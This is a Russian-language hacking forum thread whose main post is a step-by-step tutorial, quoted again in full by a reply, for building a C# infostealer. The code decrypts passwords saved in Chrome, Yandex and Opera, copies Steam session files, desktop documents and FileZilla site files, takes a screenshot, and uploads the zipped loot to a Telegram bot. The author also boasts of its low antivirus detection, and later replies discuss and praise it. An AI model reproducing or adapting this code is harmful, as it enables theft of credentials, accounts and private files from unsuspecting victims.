• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Стиллер на C#. Часть I.

3xpl01t

Местный
Сообщения
34
Реакции
73
0 руб.
Telegram
Привет, хацкер, сегодня мы будем писать свой стиллер на шарпике.

abf0bd01-f675-42ac-9401-86e1b5581c52.png


Итак, прежде чем мы приступим, хотел бы рассказать тебе о возможностях нашего стиллера:
  • Стиллинг паролей из браузеров (Chrome, Opera, Yandex (старая версия))
  • Грабинг сессии Steam. (vdf и ssfn файлы)
  • Грабинг файлов с рабочего стола .txt, sql, pdf)
  • Грабинг сессии FileZilla
  • Отправка логов в телеграм бота
  • Вес ~ 15кб
Теперь, можем приступить.


Время кодинга, сучки!

Создаём консольное приложение, версия фреймворка - 4.5

9fb6a8e7-4497-4c7c-ad8c-9bbe319b5efc.png


Сразу установим две нужные нам библиотеки - DotNetZip, System.Data.SQLite.
ПКМ по проекту -> Управление пакетами NuGet

d569491f-c347-46be-ab01-d28ef3e1c27c.png


Добавляем ссылку System.Security, System.Windows.Forms и System.Drawing
ПКМ по проекту -> Добавить -> Ссылка

Добавим необходимые юзинги:
C#:
using Ionic.Zip;
using System;
using System.IO;
using System.Security.Principal;
using System.Drawing;
using System.Collections.Generic;
using System.Text;
using System.Management;
using System.Net;

296fb735-13d8-45ce-a9ea-34af39dd17d6.png


Объявим глобальные переменные, в которых содержатся пути папок:
C#:
static string temp = Path.GetTempPath(); 
static string LocalAppData = Environment.GetEnvironmentVariable("LocalAppData");
static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

5a9b9fec-13f0-4148-bb83-70d1d0b06411.png


Добавляем переменную, которое хранит имя ПК:
C#:
static string username = WindowsIdentity.GetCurrent().Name;

Создаём переменную workdir, в которой мы будем работать с файлами:
C#:
static string workdir = temp + username;

Создаём переменные, которые содержат IP и HWID компьютера:
C#:
static string host = Dns.GetHostName();
static IPAddress IP = Dns.GetHostByName(host).AddressList[0];
static string HWID = "";
0ae4e310-1fe2-445a-8a39-dd9a5c36e3a0.png


Объявим две переменные, в которых будут содержатся данные для отправки лога в телеграм: Token и ID
C#:
static string Token = "ТокенОтБота"; 
static string ID = "ЧатID";

d1601792-8659-4ffe-8884-ec6c9566022e.png


Создадим пустую переменную, в которой будут содержатся пароли:
C#:
string text = "";

Создаём папки, для копирования файлов:
C#:
Directory.CreateDirectory(temp + username);
Directory.CreateDirectory(workdir + "\\Steam");
Directory.CreateDirectory(workdir + "\\Steam\\ssfn");
Directory.CreateDirectory(workdir + "\\Desktop");
Directory.CreateDirectory(workdir + "\\FileZilla");

1410c769-83db-4b17-8471-5b78dcb83431.png


Создаём переменную dir, в которой содержатся пути до браузеров:
C#:
string[] dir =
    {
      LocalAppData + @"\Google\Chrome\User Data\Default\Login Data",
      LocalAppData + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
      AppData + @"\Opera Software\Opera Stable\Login Data"
    };

Теперь нам нужно пройти по папкам, и собрать логины и пароли из браузеров:

C#:
foreach (string p in dir)  //идем по папкам
           {
               var pas = Passwords.ReadPass(p);
               if (File.Exists(p))                  // если файл с паролями существует, то выполняем следующие действия
               {
                   text += "Dark $tealer by: @darkside_team\r\n\r\n";

                   foreach (var item in pas)
                   {
                       if ((item.Item2.Length > 0) && (item.Item3.Length > 0))     // если значения логина и пароля не пустые, то заносим их в переменную
                       {

                           text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
                           text += " \r\n";
                       }
                   }
               }
           }

            File.WriteAllText(temp + @"" + username + "\\Passwords.txt", text); // записываем пароли в файл
            File.Delete(temp + @"" + username + "\\Login Data"); // Удаляем лишние

d4db6e12-ba30-426d-99bc-cf754d8f5cd6.png


На этом этапе появятся ошибки, для их исправления создаём новый класс - Passwords.cs

Код класса (Passwords):
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Principal;
using System.Text;

namespace Dark__tealer__darkside_team
{
   class Passwords
   {
       static string temp = Path.GetTempPath();
       static string username = WindowsIdentity.GetCurrent().Name;

       static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
       {
           if (File.Exists(temp + @"" + username + "\\Login Data"))   // Если файл по данному пути существует, то удаляем его
           {
               File.Delete(temp + @"" + username + "\\Login Data");
           }
           File.Copy(dbPath, temp + @"" + username + "\\Login Data");     // копируем файл с паролями для того, чтобы не закрывать браузер
           dbPath = temp + @"" + username + "\\Login Data";
           var connectionString = "Data Source=" + dbPath + ";pooling=false";
           using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
           using (var cmd = conn.CreateCommand())
           {


               cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

               conn.Open();
               using (var reader = cmd.ExecuteReader())
               {
                   while (reader.Read())
                   {
                       var encryptedData = (byte[])reader[0];

                       var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);  // расшифровка паролей
                       var plainText = Encoding.ASCII.GetString(decodedData);

                       yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

                   }

               }
               conn.Close();
           }
       }
   }
}

Теперь ошибок нет, двигаемся дальше.

Сейчас мы добавляем граббинг файлов Steam'a. Для этого создаём две переменные steamdir и cfgdir.

C#:
string steamdir = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\Valve\Steam", "Steampath", null); // Ищем папку стима через реестр
string cfgdir = steamdir + "\\config"; // Добавляем переменную для папки config

Теперь копируем файлы из папки config, в нашу подпапку Steam:

C#:
DirectoryInfo dirInfo = new DirectoryInfo(cfgdir); // Создаём переменную dirInfi
 foreach (FileInfo file in dirInfo.GetFiles("*.*")) // Указываем, что копируем все файлы
    {
      File.Copy(file.FullName, workdir + "\\Steam" + "\\" + file.Name, true); // Копируем
    }

4f227205-dbbb-49ad-9c98-dedbdd9af297.png


Теперь копируем ssfn файлы для авторизации без логина и пароля:

C#:
 DirectoryInfo dirInfo1 = new DirectoryInfo(steamdir);
 foreach (FileInfo file1 in dirInfo1.GetFiles("ssfn*")) // Указываем, что копируем только файлы начинающиеся с ssfn
     {
       File.Copy(file1.FullName, workdir + "\\Steam\\ssfn" + "\\" + file1.Name, true);
     }

143f75de-0d44-43f4-9920-1b3c2b6712b4.png


Теперь сделаем граббер файлов с рабочего стола. Объявляем две переменные: desktop - которая содержит путь до Рабочего Стола, и files - которая содержит за файлы, которые там находятся.

C#:
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ;
string[] files = Directory.GetFiles(desktop);

Создаём списки, отсеиваем ненужные файлы, добавляем в нашу папку:

C#:
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ;
string[] files = Directory.GetFiles(desktop);

Создаём списки, отсеиваем ненужные файлы, добавляем в нашу папку:

List<string> listFiles = new List<string>(); // Список
           foreach (string i in files)
           {
               string extens = Path.GetExtension(i); // Переменная отвечающая за расширения файлов
               if (extens == ".pdf" || extens == ".txt" || extens == ".sql") // Проверка расширения
               {
                   listFiles.Add(i); // Добавляем файл в список, если прошёл проверку
               }
           }


List<string> names = new List<string>(); // Список
           foreach (string i in listFiles)
           {
               names.Add(Path.GetFileName(i)); // Имя файла
           }

           for (int i = 0; i < listFiles.Count; i++)
           {
               if (File.Exists(Path.Combine(workdir + "\\Desktop", names[i]))) // Если файл существует
                   File.Delete(Path.Combine(workdir + "\\Desktop", names[i])); // Удаляем

               File.Copy(listFiles[i], Path.Combine(workdir + "\\Desktop", names[i])); // Копируем файлы из списка в нашу подпапку Desktop

98e3e7e3-b720-4d4f-824d-d19d79efdeca.png


Граббер готов. Теперь делаем скриншот экрана:

C#:
Bitmap Screenshot;
           int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString());
           int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString());
           Screenshot = new Bitmap(1920, 1080); // Расширение скриншота
           Size s = new Size(Screenshot.Width, Screenshot.Height); // Размер
           Graphics memoryGraphics = Graphics.FromImage(Screenshot);
           memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
           string screenpath = workdir + "\\Screen.jpg"; // Папка для сохранения
           Screenshot.Save(screenpath); // Сохраняем

2ed87c30-374b-49b8-b802-865f0e2e9c8e.png


Воруем сессию FileZilla. Создаём переменную, в которой содержится путь до папки с файлами зиллы:
C#:
string FileZilla = AppData + "\\FileZilla";

Пытаемся скопировать файлы:

C#:
try
      {
          DirectoryInfo dirInfo2 = new DirectoryInfo(FileZilla);
          foreach (FileInfo file1 in dirInfo2.GetFiles("*.xml")) // Ограничение, только файлы с расширением xml
            {
               File.Copy(file1.FullName, workdir + "\\FileZilla" + "\\" + file1.Name, true); // Копируем
            }
       }

            catch { }

Базовый функционал готов. Теперь, нам нужно поместить все украденные файлы в архив:

C#:
using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
               {
                   zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; // Задаем максимальную степень сжатия
                   zip.Comment = "Dark $tealer by https://t.me/darkside_team" + // Добавляем комментарий к архиву
                       "\n<========================================>" +
                       "\nPC:" + username +
                       "\nIP: " + IP +
                       "\nHWID: " + HWID +
                       "\nGovnoCode by: 3xpl01t | @exploit_dar"
                       ;
                   zip.Password = "DARK"; // Задаём пароль
                   zip.AddDirectory(@"" + temp + username); // Кладем в архив папку вместе с содежимым
                   zip.Save(@"" + temp + username + "@darkside_team.zip"); // Сохраняем архив   
               }

dbd12dd2-ba2a-41eb-a1a4-13fdbd422b2e.png


Отправка лога в телеграм бот.

Не стал использовать готовые библиотеки, сделал прямым запросом.

Создаём новый void, добавляем параметры для POST запроса:

C#:
private static void UploadMultipart(byte[] file, string filename, string contentType, string url)
       {
           try
           {
               WebClient webClient = new WebClient();
               string text = "------------------------" + DateTime.Now.Ticks.ToString("x");
               webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text);
               string @string = webClient.Encoding.GetString(file);
               string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[]
               {
                   text,
                   filename,
                   contentType,
                   @string
               });
               byte[] bytes = webClient.Encoding.GetBytes(s);
               webClient.UploadData(url, "POST", bytes);
               Environment.Exit(0);
           }
           catch
           {
           }

d2d4f72a-92d9-4577-8498-49c571d8e699.png


Возращаемся к Main'у. Создаём переменную LOG, которая содержит путь до архива:
C#:
string LOG = @"" + temp + username + "@darkside_team.zip";

byte[] file = File.ReadAllBytes(LOG);
string url = string.Concat(new string[]

Делаем запрос:
C#:
{
                   "https://api.telegram.org/bot",
                   Token,
                   "/sendDocument?chat_id=",
                   ID,
                   "&caption=NEW LOG! ⚡️" +
                   "\nPC: " + username +
                   "\nIP: " + IP +
                   "\nPassword: DARK" +
                   "\nCoded by @darkside_team"
               });
               UploadMultipart(file, LOG, "application/x-ms-dos-executable", url);
               return;

Всё стиллер готов. Проверяем.

74e1626e-a8f7-46aa-b2ac-ba3a5d66c8e9.png


Сообщение от бота

49f6500c-b5d5-4889-b5a4-77badf890854.png


Вид лога

Ну, а теперь самое интересное - детект:
KDnxSyjOgiNs.png


Как тебе такое?)

Заключение.

Сейчас с уверенностью могу сказать, что мы поимели половину кодеров очередного школо-форума.

Код не идеален, на это есть много причин: почти весь функционал прописан в Main'e, хотя можно было создать классы, для удобства; мы использовали sqlite для расшифровки паролей, хотя можно было использовать движок sqlhandler, с которым не было бы подгрузки необходимой dll'ки.

В следующих статьях я проведу рефакторинг. Код станет меньше быть похож на говнецо (но это не точно).

Что планирую добавить?
  • Стиллинг куки
  • Chromium браузеры
  • Автозаполнения браузеров
  • Стиллинг сессии Discord

Скачать исходники: LINK

 

Kirito54

Живу как хочу

Kirito54

Живу как хочу
Местный
Сообщения
55
Реакции
109
0 руб.
Telegram
Привет, хацкер, сегодня мы будем писать свой стиллер на шарпике.

abf0bd01-f675-42ac-9401-86e1b5581c52.png


Итак, прежде чем мы приступим, хотел бы рассказать тебе о возможностях нашего стиллера:
  • Стиллинг паролей из браузеров (Chrome, Opera, Yandex (старая версия))
  • Грабинг сессии Steam. (vdf и ssfn файлы)
  • Грабинг файлов с рабочего стола .txt, sql, pdf)
  • Грабинг сессии FileZilla
  • Отправка логов в телеграм бота
  • Вес ~ 15кб
Теперь, можем приступить.


Время кодинга, сучки!

Создаём консольное приложение, версия фреймворка - 4.5

9fb6a8e7-4497-4c7c-ad8c-9bbe319b5efc.png


Сразу установим две нужные нам библиотеки - DotNetZip, System.Data.SQLite.


d569491f-c347-46be-ab01-d28ef3e1c27c.png


Добавляем ссылку System.Security, System.Windows.Forms и System.Drawing


Добавим необходимые юзинги:
C#:
using Ionic.Zip;
using System;
using System.IO;
using System.Security.Principal;
using System.Drawing;
using System.Collections.Generic;
using System.Text;
using System.Management;
using System.Net;

296fb735-13d8-45ce-a9ea-34af39dd17d6.png


Объявим глобальные переменные, в которых содержатся пути папок:
C#:
static string temp = Path.GetTempPath();
static string LocalAppData = Environment.GetEnvironmentVariable("LocalAppData");
static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

5a9b9fec-13f0-4148-bb83-70d1d0b06411.png


Добавляем переменную, которое хранит имя ПК:
C#:
static string username = WindowsIdentity.GetCurrent().Name;

Создаём переменную workdir, в которой мы будем работать с файлами:
C#:
static string workdir = temp + username;

Создаём переменные, которые содержат IP и HWID компьютера:
C#:
static string host = Dns.GetHostName();
static IPAddress IP = Dns.GetHostByName(host).AddressList[0];
static string HWID = "";
0ae4e310-1fe2-445a-8a39-dd9a5c36e3a0.png


Объявим две переменные, в которых будут содержатся данные для отправки лога в телеграм: Token и ID
C#:
static string Token = "ТокенОтБота";
static string ID = "ЧатID";

d1601792-8659-4ffe-8884-ec6c9566022e.png


Создадим пустую переменную, в которой будут содержатся пароли:
C#:
string text = "";

Создаём папки, для копирования файлов:
C#:
Directory.CreateDirectory(temp + username);
Directory.CreateDirectory(workdir + "\\Steam");
Directory.CreateDirectory(workdir + "\\Steam\\ssfn");
Directory.CreateDirectory(workdir + "\\Desktop");
Directory.CreateDirectory(workdir + "\\FileZilla");

1410c769-83db-4b17-8471-5b78dcb83431.png


Создаём переменную dir, в которой содержатся пути до браузеров:
C#:
string[] dir =
    {
      LocalAppData + @"\Google\Chrome\User Data\Default\Login Data",
      LocalAppData + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
      AppData + @"\Opera Software\Opera Stable\Login Data"
    };

Теперь нам нужно пройти по папкам, и собрать логины и пароли из браузеров:

C#:
foreach (string p in dir)  //идем по папкам
           {
               var pas = Passwords.ReadPass(p);
               if (File.Exists(p))                  // если файл с паролями существует, то выполняем следующие действия
               {
                   text += "Dark $tealer by: @darkside_team\r\n\r\n";

                   foreach (var item in pas)
                   {
                       if ((item.Item2.Length > 0) && (item.Item3.Length > 0))     // если значения логина и пароля не пустые, то заносим их в переменную
                       {

                           text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
                           text += " \r\n";
                       }
                   }
               }
           }

            File.WriteAllText(temp + @"" + username + "\\Passwords.txt", text); // записываем пароли в файл
            File.Delete(temp + @"" + username + "\\Login Data"); // Удаляем лишние

d4db6e12-ba30-426d-99bc-cf754d8f5cd6.png


На этом этапе появятся ошибки, для их исправления создаём новый класс - Passwords.cs

Код класса (Passwords):
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Principal;
using System.Text;

namespace Dark__tealer__darkside_team
{
   class Passwords
   {
       static string temp = Path.GetTempPath();
       static string username = WindowsIdentity.GetCurrent().Name;

       static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
       {
           if (File.Exists(temp + @"" + username + "\\Login Data"))   // Если файл по данному пути существует, то удаляем его
           {
               File.Delete(temp + @"" + username + "\\Login Data");
           }
           File.Copy(dbPath, temp + @"" + username + "\\Login Data");     // копируем файл с паролями для того, чтобы не закрывать браузер
           dbPath = temp + @"" + username + "\\Login Data";
           var connectionString = "Data Source=" + dbPath + ";pooling=false";
           using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
           using (var cmd = conn.CreateCommand())
           {


               cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

               conn.Open();
               using (var reader = cmd.ExecuteReader())
               {
                   while (reader.Read())
                   {
                       var encryptedData = (byte[])reader[0];

                       var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);  // расшифровка паролей
                       var plainText = Encoding.ASCII.GetString(decodedData);

                       yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

                   }

               }
               conn.Close();
           }
       }
   }
}

Теперь ошибок нет, двигаемся дальше.

Сейчас мы добавляем граббинг файлов Steam'a. Для этого создаём две переменные steamdir и cfgdir.

C#:
string steamdir = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\Valve\Steam", "Steampath", null); // Ищем папку стима через реестр
string cfgdir = steamdir + "\\config"; // Добавляем переменную для папки config

Теперь копируем файлы из папки config, в нашу подпапку Steam:

C#:
DirectoryInfo dirInfo = new DirectoryInfo(cfgdir); // Создаём переменную dirInfi
foreach (FileInfo file in dirInfo.GetFiles("*.*")) // Указываем, что копируем все файлы
    {
      File.Copy(file.FullName, workdir + "\\Steam" + "\\" + file.Name, true); // Копируем
    }

4f227205-dbbb-49ad-9c98-dedbdd9af297.png


Теперь копируем ssfn файлы для авторизации без логина и пароля:

C#:
 DirectoryInfo dirInfo1 = new DirectoryInfo(steamdir);
foreach (FileInfo file1 in dirInfo1.GetFiles("ssfn*")) // Указываем, что копируем только файлы начинающиеся с ssfn
     {
       File.Copy(file1.FullName, workdir + "\\Steam\\ssfn" + "\\" + file1.Name, true);
     }

143f75de-0d44-43f4-9920-1b3c2b6712b4.png


Теперь сделаем граббер файлов с рабочего стола. Объявляем две переменные: desktop - которая содержит путь до Рабочего Стола, и files - которая содержит за файлы, которые там находятся.

C#:
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ;
string[] files = Directory.GetFiles(desktop);

Создаём списки, отсеиваем ненужные файлы, добавляем в нашу папку:

C#:
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ;
string[] files = Directory.GetFiles(desktop);

Создаём списки, отсеиваем ненужные файлы, добавляем в нашу папку:

List<string> listFiles = new List<string>(); // Список
           foreach (string i in files)
           {
               string extens = Path.GetExtension(i); // Переменная отвечающая за расширения файлов
               if (extens == ".pdf" || extens == ".txt" || extens == ".sql") // Проверка расширения
               {
                   listFiles.Add(i); // Добавляем файл в список, если прошёл проверку
               }
           }


List<string> names = new List<string>(); // Список
           foreach (string i in listFiles)
           {
               names.Add(Path.GetFileName(i)); // Имя файла
           }

           for (int i = 0; i < listFiles.Count; i++)
           {
               if (File.Exists(Path.Combine(workdir + "\\Desktop", names[i]))) // Если файл существует
                   File.Delete(Path.Combine(workdir + "\\Desktop", names[i])); // Удаляем

               File.Copy(listFiles[i], Path.Combine(workdir + "\\Desktop", names[i])); // Копируем файлы из списка в нашу подпапку Desktop

98e3e7e3-b720-4d4f-824d-d19d79efdeca.png


Граббер готов. Теперь делаем скриншот экрана:

C#:
Bitmap Screenshot;
           int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString());
           int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString());
           Screenshot = new Bitmap(1920, 1080); // Расширение скриншота
           Size s = new Size(Screenshot.Width, Screenshot.Height); // Размер
           Graphics memoryGraphics = Graphics.FromImage(Screenshot);
           memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
           string screenpath = workdir + "\\Screen.jpg"; // Папка для сохранения
           Screenshot.Save(screenpath); // Сохраняем

2ed87c30-374b-49b8-b802-865f0e2e9c8e.png


Воруем сессию FileZilla. Создаём переменную, в которой содержится путь до папки с файлами зиллы:
C#:
string FileZilla = AppData + "\\FileZilla";

Пытаемся скопировать файлы:

C#:
try
      {
          DirectoryInfo dirInfo2 = new DirectoryInfo(FileZilla);
          foreach (FileInfo file1 in dirInfo2.GetFiles("*.xml")) // Ограничение, только файлы с расширением xml
            {
               File.Copy(file1.FullName, workdir + "\\FileZilla" + "\\" + file1.Name, true); // Копируем
            }
       }

            catch { }

Базовый функционал готов. Теперь, нам нужно поместить все украденные файлы в архив:

C#:
using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
               {
                   zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; // Задаем максимальную степень сжатия
                   zip.Comment = "Dark $tealer by https://t.me/darkside_team" + // Добавляем комментарий к архиву
                       "\n<========================================>" +
                       "\nPC:" + username +
                       "\nIP: " + IP +
                       "\nHWID: " + HWID +
                       "\nGovnoCode by: 3xpl01t | @exploit_dar"
                       ;
                   zip.Password = "DARK"; // Задаём пароль
                   zip.AddDirectory(@"" + temp + username); // Кладем в архив папку вместе с содежимым
                   zip.Save(@"" + temp + username + "@darkside_team.zip"); // Сохраняем архив  
               }

dbd12dd2-ba2a-41eb-a1a4-13fdbd422b2e.png


Отправка лога в телеграм бот.

Не стал использовать готовые библиотеки, сделал прямым запросом.

Создаём новый void, добавляем параметры для POST запроса:

C#:
private static void UploadMultipart(byte[] file, string filename, string contentType, string url)
       {
           try
           {
               WebClient webClient = new WebClient();
               string text = "------------------------" + DateTime.Now.Ticks.ToString("x");
               webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text);
               string @string = webClient.Encoding.GetString(file);
               string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[]
               {
                   text,
                   filename,
                   contentType,
                   @string
               });
               byte[] bytes = webClient.Encoding.GetBytes(s);
               webClient.UploadData(url, "POST", bytes);
               Environment.Exit(0);
           }
           catch
           {
           }

d2d4f72a-92d9-4577-8498-49c571d8e699.png


Возращаемся к Main'у. Создаём переменную LOG, которая содержит путь до архива:
C#:
string LOG = @"" + temp + username + "@darkside_team.zip";

byte[] file = File.ReadAllBytes(LOG);
string url = string.Concat(new string[]

Делаем запрос:
C#:
{
                   "https://api.telegram.org/bot",
                   Token,
                   "/sendDocument?chat_id=",
                   ID,
                   "&caption=NEW LOG! ⚡" +
                   "\nPC: " + username +
                   "\nIP: " + IP +
                   "\nPassword: DARK" +
                   "\nCoded by @darkside_team"
               });
               UploadMultipart(file, LOG, "application/x-ms-dos-executable", url);
               return;

Всё стиллер готов. Проверяем.

74e1626e-a8f7-46aa-b2ac-ba3a5d66c8e9.png


Сообщение от бота

49f6500c-b5d5-4889-b5a4-77badf890854.png


Вид лога

Ну, а теперь самое интересное - детект:
KDnxSyjOgiNs.png


Как тебе такое?)

Заключение.

Сейчас с уверенностью могу сказать, что мы поимели половину кодеров очередного школо-форума.

Код не идеален, на это есть много причин: почти весь функционал прописан в Main'e, хотя можно было создать классы, для удобства; мы использовали sqlite для расшифровки паролей, хотя можно было использовать движок sqlhandler, с которым не было бы подгрузки необходимой dll'ки.

В следующих статьях я проведу рефакторинг. Код станет меньше быть похож на говнецо (но это не точно).

Что планирую добавить?
  • Стиллинг куки
  • Chromium браузеры
  • Автозаполнения браузеров
  • Стиллинг сессии Discord
Скачать исходники: LINK

ТС, а как выполняется Класс с паролями, если он содержит "System.Security.Cryptography.ProtectedData", который доступен в 4.6+ версии фреймворка, а ты создаёшь приложение на 4.5?
 

Lost9

Новичок
Сообщения
1
Реакции
0
0 руб.
ТС, а как выполняется Класс с паролями, если он содержит "System.Security.Cryptography.ProtectedData", который доступен в 4.6+ версии фреймворка, а ты создаёшь приложение на 4.5?
Тоже заметил, странно как-то
 

ZeroByte

Senior Developer

ZeroByte

Senior Developer
Местный
Сообщения
82
Реакции
325
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Ля яка красота! Спасибо статью, Good for newbies
Visual Studio for Gay Boys
 
Сверху Снизу